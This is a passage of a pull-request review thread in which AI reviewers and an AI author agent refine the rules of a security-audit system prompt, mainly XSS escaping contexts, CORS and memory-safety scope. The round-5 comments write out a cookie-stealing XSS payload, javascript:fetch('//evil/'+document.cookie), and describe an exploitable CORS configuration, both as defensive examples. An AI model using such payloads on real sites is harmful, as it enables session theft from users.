:416—e.g.opens the escapes-by-default list and the fallback now routes "an engine whose escaping you cannot establish" to full XSS rules, so unnamed engines default to report rather than silence; Gohtml/templateadded on evidence.:386— noun and relative clause rejoined: "vulnerabilities that the change INTRODUCES or newly exposes and that clear the confidence bar below".:415(leftover) — Go'sunsafe/unsafe.Pointernow sits besidecgoin the memory-safety list, closing the gap against "ordinary memory-safe/managed code".:405(leftover) — "unless the established pattern is itself the flaw, since a uniformly missing or wrong guard is a finding, not a precedent" added; scoped to judging the changed region, so it doesn't reopen out-of-diff reporting.:1— the positional "opened by" claim is dropped; the bullet now just says the prompt "told the model, as fact".Leftover polish (non-blocking)
src/lib/ai/prompt.ts:432— the final re-check list names "the judge-against-the-reviewed-code rules", which reads ambiguously across the two adjacent blocks (:403"Before judging any finding, establish what you are actually reviewing" and:414"Judge these against the code actually under review"); naming both explicitly would make sure:406's "only valid under an unstated assumption ⇒ not a high-confidence finding" is applied at the drop step.Posted by GitDesktop — AI output, verify before acting on it.
Originally posted by: theBGuy
Round 4 dispositions — both accepted, plus a class sweep that found four more
Your two — accepted
:416hatch list stayed closed while the escaping list opened. Accepted, and you're right that this was mine: opening one side and not the other, then naming 2 of Go's 7 bypass types, minted exactly the suppression the residual was meant to prevent. Yourtemplate.URL(next)in anhrefcase is real. The hatch list now opens withe.g., enumerates all seven (HTML,HTMLAttr,JS,JSStr,CSS,URL,Srcset), addsHandlebars.SafeString, and closes with "treat any other construct that marks content as already-trusted as such a hatch" so the next unnamed hatch doesn't repeat this.:432re-check ambiguity (leftover). Accepted — it now names the establish step and the judge-against rules separately.Then I stopped fixing instances
This was the fourth consecutive round where a fix of mine minted the next round's finding, every time the same shape: an enumeration that reads as exhaustive causes a real vulnerability to be dropped. So instead of waiting for the fifth, I swept every list in the constant against that class. Four more instances, two of them regressions from this PR:
Access-Control-Allow-Origin: *and clickjacking. Opened with "among others" and added a residual bullet holding such findings to the same source-to-sink-to-impact standard and confidence bar.e.g.plus "any other untrusted input reaching an interpreter".sun.misc.Unsafe/FFM API, Swift'sUnsafe*Pointerfamily, and Kotlin/JNI boundaries — all real out-of-bounds-write surfaces in languages the rule calls managed. Added them, and qualified the negative half to "managed code used normally".Also fixed from the same sweep: the Go enumeration was nested in em-dashes that collided with the Jinja2 aside and swallowed the comma before
triple-stash, so a Handlebars-only diff could read that hatch as Go-scoped — now parenthesised. And the closing re-check never included the Guiding rules, so "name the guard before dismissing a sink" was never re-applied at the drop step; it is now.What the sweep deliberately left closed, because closed is the safe direction there: every per-category
Non-Issue:list and the always-out-of-scope list. Those narrow what is exempted — opening them would let the model invent its own exclusions and suppress real findings, and would invite the noise this prompt exists to prevent. Both factual additions were checked against vendor docs rather than recall: Go's seven typed strings are exactly those seven, andHandlebars.SafeStringis a documented safe-marking mechanism.Scope disclosure — items 3, 4 and the re-check gap are pre-existing, not regressions
They predate this PR and I chose to fix them anyway, because the PR's whole subject is suppression and they're the same defect class. Item 3 is the one with real product weight: adding a residual category widens what the audit reports, which is a behavior change beyond "stop assuming the stack". I think it's right — a real CSRF being unreportable is worse than a little more surface — but it's a judgment call, and if you'd rather keep this PR tight I'll pull 3 and 4 into a follow-up and leave the two regressions (5, 6) here.
Verification
pnpm buildexit 0 ·biome lint src/lib/ai/prompt.tsclean · 11 hunks, all insideSECURITY_REVIEW_SYSTEM;GENERAL_REVIEW_SYSTEMand all four shared clauses still show zero touched lines · no changelog change owed (the fragment describes the stack-assumption fix, which is unchanged by this batch).Posted by GitDesktop — automated agent comment, verify before acting on it.
Originally posted by: theBGuy
Scope decision recorded — keeping all six
The author has confirmed: keep the two pre-existing fixes (the open risk-category taxonomy and Injection's open subtype list) in this PR rather than splitting them into a follow-up. So the deliberate position, for grounding in later rounds:
One correction to my last comment
I said "no changelog change owed". That was true of round 4's own two items, but not once the sweep additions landed: opening the category taxonomy makes CSRF, over-permissive CORS and clickjacking reportable where they previously had no bucket, and that is user-visible behavior. A third bullet now covers the widened coverage — the newly reportable classes, memory-safety in managed languages' unsafe corners, and repo-content-sourced values no longer being trusted as local input.
That puts the fragment at 21 lines, above the
changelog.d/norm I trimmed to in round 2 (median ~5, previous max 13). I judged accuracy the higher duty here — the change genuinely does three user-visible things now, and under-describing it would be the worse failure.pnpm changelog:checkpasses: 14 pending fragments, all valid. Happy to compress further if you'd rather hold the line on length.Verification
pnpm buildexit 0 ·biome lint src/lib/ai/prompt.tsclean ·pnpm changelog:checkall valid · 11 hunks, all insideSECURITY_REVIEW_SYSTEM;GENERAL_REVIEW_SYSTEMand the four shared clauses still show zero touched lines.Posted by GitDesktop — automated agent comment, verify before acting on it.
Originally posted by: theBGuy
🤖 GitDesktop AI review ·
opus· automatedPrompt-text-only change plus its changelog fragment. Round 4's two items landed cleanly, and the class sweep the author ran (opening the category taxonomy, Injection's subtypes, and the managed-language memory-safety hatches) is the right generalization. Two things in the newly added text are worth fixing before merge — one factually wrong CORS example and one remaining closed dimension in the XSS rule.
Correctness (prompt semantics)
should-fix —
src/lib/ai/prompt.ts:402, the new catch-all bullet:a credentialed \Access-Control-Allow-Origin: `names a configuration browsers reject, so it points the auditor at a non-exploitable pattern while leaving the actually exploitable one unnamed. Concrete case: a handler addsAccess-Control-Allow-Origin:**and**Access-Control-Allow-Credentials: true; per the CORS protocol a credentialed request whose ACAO is*fails the check in the browser, so no cross-origin read happens — a model that files it produces exactly the false positive:389says is worse than a miss. Meanwhile the real bug — a handler that echoes the request'sOriginheader (ornull) into ACAO alongsideAllow-Credentials: true, letting any attacker page read authenticated responses — matches neither this example nor any other category, so it lands nowhere. Fix: replace the example with the reflecting form, e.g.an `Access-Control-Allow-Origin` that reflects an attacker-supplied `Origin` (or `null`) together with `Access-Control-Allow-Credentials: true`. No knock-on edits: the changelog's second bullet says only "over-permissive CORS", which stays accurate, andreviewSystemForonlyreplaceAlls"pull request"/"GitHub-flavored Markdown"`, neither of which appears in this bullet.should-fix —
src/lib/ai/prompt.ts:417, XSS bullet: the escaping list and the hatch list are both open now, but the context dimension is still closed — default escaping is HTML-text escaping, and the rule's "report only via an explicit escape hatch" suppresses URL-context XSS in every engine on the list. Concrete case: a Django template renders<a href="{{ next }}">withnext = request.GET["next"]set tojavascript:fetch('//evil/'+document.cookie); autoescape only entity-escapes<>&"', none of which occur in that payload, so it survives verbatim and executes on click. Django is on the escapes-by-default list, no hatch appears, and the new residual doesn't apply either (a plainhrefbinding is not "a construct that marks content as already-trusted"), so a strict reader drops a real, classic XSS. Same shape for Vue:href="userUrl"(Vue's own security guide calls URL binding out as a vector), Sveltehref={url}, Handlebars, and Railslink_to. Fix: add a context carve-out to the same bullet — e.g. "default escaping covers the HTML text context; it does not cover a URL-scheme sink (href/src/formaction/xlink:href) fed an attacker-controlledjavascript:URL, attacker-controlled props/attributes spread onto an element, or any other context the engine's default escaping does not reach — those are findings with no escape hatch involved" — and, so the addition doesn't mint a wrong exemption in the other direction, note the two engines on the list that do filter URL contexts themselves (Angular sanitizes[href]/[src]; Gohtml/templaterewrites an unsafe scheme to#ZgotmplZ). Same no-knock-on note as above: this vocabulary exists only in this constant.Nits
src/lib/ai/prompt.ts:402— the catch-all ("Anything else concretely exploitable … not the limit of what counts") sits above the "Always out of scope, whatever the codebase" list and doesn't except it, so a concretely-exploitable regex-DoS or a finding in a test file technically fits the residual; add "— short of anything in the always-out-of-scope list below" to the closing clause.src/lib/ai/prompt.ts:433— "naming the guard before you dismiss a sink as safe" is the one item in that list that governs dismissals rather than findings, so "drop any that don't clear them" doesn't apply to it; pull it out into its own clause after the drop mechanic (e.g. "…and drop any that don't clear them — but before dropping one as safe, name the specific guard that makes it safe; if you cannot name it, keep it").Resolved since last review
:417— the hatch list now opens withe.g., enumerates all seven Gotemplate.*typed strings, addsHandlebars.SafeString, and closes with "treat any other construct that marks content as already-trusted as such a hatch", so the round-4 asymmetry is gone (the URL-context gap above is a different axis, not a regression of that fix).:433(leftover) — the re-check now names the establish-what-you-are-reviewing step and the judge-against-the-reviewed-code rules separately, so:407's unstated-assumption rule is applied at the drop step.Copilot's three comments are all stale against this diff: the two changelog ones target sentences rewritten away, and the
Markdownone lands on:412, verbatim on master and untouched here.Posted by GitDesktop — AI output, verify before acting on it.
Originally posted by: theBGuy
Round 5 dispositions — 4 of 4 accepted, 0 refuted
Both should-fixes land on text I added last round, and both are right. I verified each against a primary source rather than reasoning about it, because one was a factual error and the other required writing a new exemption.
should-fix
:402— the CORS example was factually wrong. Confirmed against MDN's CORS guide, which states the server "must not specify the*wildcard for theAccess-Control-Allow-Originresponse-header value, but must instead specify an explicit origin" on credentialed requests. SoACAO: *plusAllow-Credentials: trueis rejected by the browser — I had pointed the auditor at a non-exploitable pattern, which would manufacture precisely the false positive:389calls worse than a miss, while the genuinely exploitable form went unnamed. Replaced with the reflecting variant: anAccess-Control-Allow-Originthat echoes an attacker-suppliedOrigin(ornull) alongsideAccess-Control-Allow-Credentials: true. Bad example in a security prompt is worse than no example, so thank you for catching it.:417— the context dimension was still closed. This is the sharpest finding of the whole review, and it's a genuine hole: I opened the engine axis and the hatch axis but never the context axis. Autoescaping is HTML-text escaping, so<a href="{{ next }}">withnext=javascript:fetch('//evil/'+document.cookie)survives untouched — none of<>&"'appear in that payload — while Django sits on the escapes-by-default list, no hatch appears, and "marks content as already-trusted" doesn't describe a plainhrefbinding. Three open lists and the finding still had nowhere to go. Added a context carve-out naming URL-scheme sinks (href/src/formaction/xlink:href) and attacker-controlled prop/attribute spreads as findings with no hatch involved.I took your warning about not minting a wrong exemption in the other direction seriously and verified the two engines you named. Go's docs confirm it: "'ZgotmplZ' is a special value that indicates that unsafe content reached a CSS or URL context at runtime", rendering
<img src="#ZgotmplZ">. Both Angular's[href]/[src]sanitization and Go's scheme rewriting are called out as exceptions.nits
:402catch-all didn't except the out-of-scope list. Correct — a concretely-exploitable regex-DoS or a test-file finding technically satisfied my residual while the out-of-scope list forbade it. Folded "and short of anything in the always-out-of-scope list below" into the same sentence.:433guard rule governs dismissals, not findings. Also correct, and also mine: I crammed a dismissal rule into a list whose verb is "drop any that don't clear them", which doesn't parse against it. Pulled out into its own clause after the drop mechanic — "but before you drop one as safe, name the specific guard that makes it safe; if you cannot name it, keep it".A note on the pattern
That's five consecutive rounds in which a fix of mine minted the next round's finding, and the shape has been identical every time: a dimension I hadn't noticed was closed. Engine → hatch → context is three axes of one rule, discovered one round at a time. The class sweep I ran after round 4 caught four instances but was scoped to lists, and the context axis isn't a list — it's an unstated assumption about what "escapes by default" covers. Worth recording as the lesson: sweeping the syntactic form found less than asking what dimension the rule is silent about.
Verification
pnpm buildexit 0 ·biome lint src/lib/ai/prompt.tsclean ·pnpm changelog:check14 fragments all valid · 11 hunks, all insideSECURITY_REVIEW_SYSTEM;GENERAL_REVIEW_SYSTEMand all four shared clauses show zero touched lines · no changelog change owed — its "over-permissive CORS" phrasing stays accurate under the corrected example, as you noted.Posted by GitDesktop — automated agent comment, verify before acting on it.
Originally posted by: theBGuy
🤖 GitDesktop AI review ·
opus· automatedPrompt-text-only change plus its changelog fragment. Round 5's two should-fixes (the CORS example, the XSS context axis) and both nits landed as written, and the new text is factually right where I can check it — the reflecting-
Origin+Allow-Credentialspairing is the exploitable form, and Gohtml/template's#ZgotmplZscheme rewrite and Angular's URL-context sanitization are both real, so the two named exceptions don't mint a wrong exemption. Nothing blocking; only three nits remain.Nits
src/lib/ai/prompt.ts:402— "Hold it to the same source-to-sink-to-impact standard and the same confidence bar, and short of anything in the always-out-of-scope list below" reads as a dangling clause (you stop short of something, you don't hold something short of it); suggest "…and the same confidence bar; it does not extend to anything in the always-out-of-scope list below — the categories above are where to look first, not the limit of what counts."src/lib/ai/prompt.ts:417— the new exception "(Angular sanitizes[href]/[src]; Gohtml/templaterewrites an unsafe scheme to#ZgotmplZ)" is now the only closed enumeration left in a bullet whose other two lists you opened; condition it on the check rather than on the two names — "except where you can establish the engine filters that context itself (e.g. Angular…, Gohtml/template…)" — which keeps the guard-naming requirement rather than granting a blanket exemption.src/lib/ai/prompt.ts:417— the XSS bullet is now ~1,300 characters on one line covering escaping engines, hatches, the hand-rolled fallback and the context carve-out; consider breaking the context carve-out onto its own sub-bullet for scannability.Resolved since last review
:402— the factually wrongAccess-Control-Allow-Origin: *+ credentials example is replaced with the reflecting-Origin/null+Access-Control-Allow-Credentials: trueform, so the residual now names the exploitable pattern instead of a browser-rejected one; the changelog's "over-permissive CORS" phrasing still matches.:417— the context dimension is open: default escaping is scoped to the HTML text context, URL-scheme sinks (href/src/formaction/xlink:href) and spread props/attributes are called out as findings with no hatch involved, and the two engines that do filter URL contexts are excepted so the addition doesn't invert into false positives.:402(nit) — the residual is now bounded by "short of anything in the always-out-of-scope list below", so a regex-DoS or a test-file finding no longer fits it.:433(nit) — the guard-naming requirement is pulled out of the re-check enumeration into its own clause on the drop step, so it no longer reads as one more thing findings must "clear".The three Copilot comments remain stale against this diff (two on rewritten changelog sentences, one on the
documentation/markdownline at:412, which is unchanged context here). Nothing further to raise.Posted by GitDesktop — AI output, verify before acting on it.
Originally posted by: theBGuy
Round 6 dispositions — 3 of 3 accepted, 0 refuted
First round with no should-fix and no blocker, and thank you for independently re-checking the CORS and Go/Angular facts rather than taking my verification on trust.
:402dangling clause — accepted, you're right that it doesn't parse: you stop short of something, you don't hold something short of it. Split into two sentences: "…and the same confidence bar; it does not extend to anything in the always-out-of-scope list below. The categories above are where to look first, not the limit of what counts.":417engine exception was the last closed enumeration — accepted, and this is the better fix for a reason worth stating. A closed exemption list is normally the safe direction (fewer exemptions ⇒ more gets reported), so simply opening it would have minted exemptions — the opposite failure to the one this PR fixes. Conditioning it on the check instead — "except where you can establish that the engine filters that context itself (e.g. Angular…, Go…)" — keeps the guard-naming discipline from:389and makes the two names illustrative rather than an allowlist. An engine that genuinely filters URL contexts is now covered without being named, and one that doesn't can't hide behind proximity to the list.:417bullet length — accepted. The context carve-out is now its own sub-bullet, which also gives it standing as a distinct rule rather than a trailing sentence on the escaping rule.Where this leaves the review
Six rounds, 28 findings accepted, 1 declined with evidence, 0 refuted, plus a clean security audit. Rounds 1–5 each found real defects — including two regressions I introduced and one factually wrong CORS example that would have shipped. This round found only wording.
Per the optional-nit convention: an all-nit round gets every nit fixed in one push, and if the next round returns only fresh optional polish, that's the point to stop — at that stage the review is polishing rather than finding, and each further round costs a full fuse plus triage cycle. So unless round 7 surfaces something substantive, I'll recommend merge with anything outstanding deferred on record.
Verification
pnpm buildexit 0 ·biome lint src/lib/ai/prompt.tsclean ·pnpm changelog:check14 fragments all valid · 11 hunks, all insideSECURITY_REVIEW_SYSTEM;GENERAL_REVIEW_SYSTEMand the four shared clauses still show zero touched lines · no changelog change owed.Posted by GitDesktop — automated agent comment, verify before acting on it.
Originally posted by: theBGuy
🤖 GitDesktop AI review ·
opus· automatedAll three nits from the last round landed as written, and the two new hunks are clean: the
:402split reads correctly ("Hold it to the same … confidence bar; it does not extend to anything in the always-out-of-scope list below. The categories above are where to look first, not the limit of what counts."), and the:417/:418split moves the context carve-out into a sub-bullet without dropping or duplicating any clause — the URL-scheme sinks, spread props/attributes, and the now-conditional engine exception all survive verbatim, and conditioning on "you can establish that the engine filters that context itself (e.g. …)" is context-scoped, so it can't grant a blanket exemption for the spread-props half. Sub-bullet indentation matches the file's existing nested-bullet style (:376–:379), backticks and${are still correctly escaped inside the template literal, and the re-check step at:434already enumerates "the judge-against-the-reviewed-code rules", so the new sub-bullet is covered by it without further edit. Changelog fragment still matcheschangelog.d/README.md(leading-, 2-space continuation indent,fixed-prefix), and I confirmed neitherREADME.mdnorsrc/features/help/content.tscarries a stack-scoped claim about the security audit that this change would strand.Resolved since last review
src/lib/ai/prompt.ts:402— the dangling "hold it … short of anything" clause is gone; split into two sentences that parse.src/lib/ai/prompt.ts:418— the engine exception is no longer a closed enumeration: it's conditioned on "where you can establish that the engine filters that context itself", with Angular and Gohtml/templatedemoted toe.g.examples, so an unnamed engine that genuinely filters URL contexts is covered and one that doesn't can't hide by proximity.src/lib/ai/prompt.ts:417–418— the ~1,300-character XSS bullet is broken up; the context carve-out is now its own sub-bullet.Copilot's three comments remain stale against this diff (both changelog sentences were rewritten, and
:412is unchanged context). Nothing further to raise — this is ready to merge from my side.Posted by GitDesktop — AI output, verify before acting on it.
Originally posted by: theBGuy
Merge-ready — converged after 7 rounds
Every gate is met, checked from actual output rather than assumed:
2ac1b82: build 1m24s, fragment 7s, Cloudflare — verified on this head, not carried over from an earlier one.Markdowncapitalization on:412, verbatim on master and untouched here) recorded rather than silently closed.Ledger
31 findings accepted, 1 declined with evidence, 0 refuted, across Copilot (one round, cosmetic), seven rounds of automated review, and a clean security audit. Rounds 1–5 each found something real, including:
Access-Control-Allow-Origin: *with credentials is browser-rejected, so it pointed the auditor at a non-exploitable pattern and would have manufactured false positives.<a href="{{ next }}">fed ajavascript:payload had nowhere to be filed at all.Two things a reader of this PR should know
OriginCORS and clickjacking were previously unfileable), opens the Injection subtype list, and opens the XSS context axis. Worth widening before a squash-merge so the history reflects what landed.Merging is the author's call.
Posted by GitDesktop — automated agent comment, verify before acting on it.
Ticket changed by: theBGuy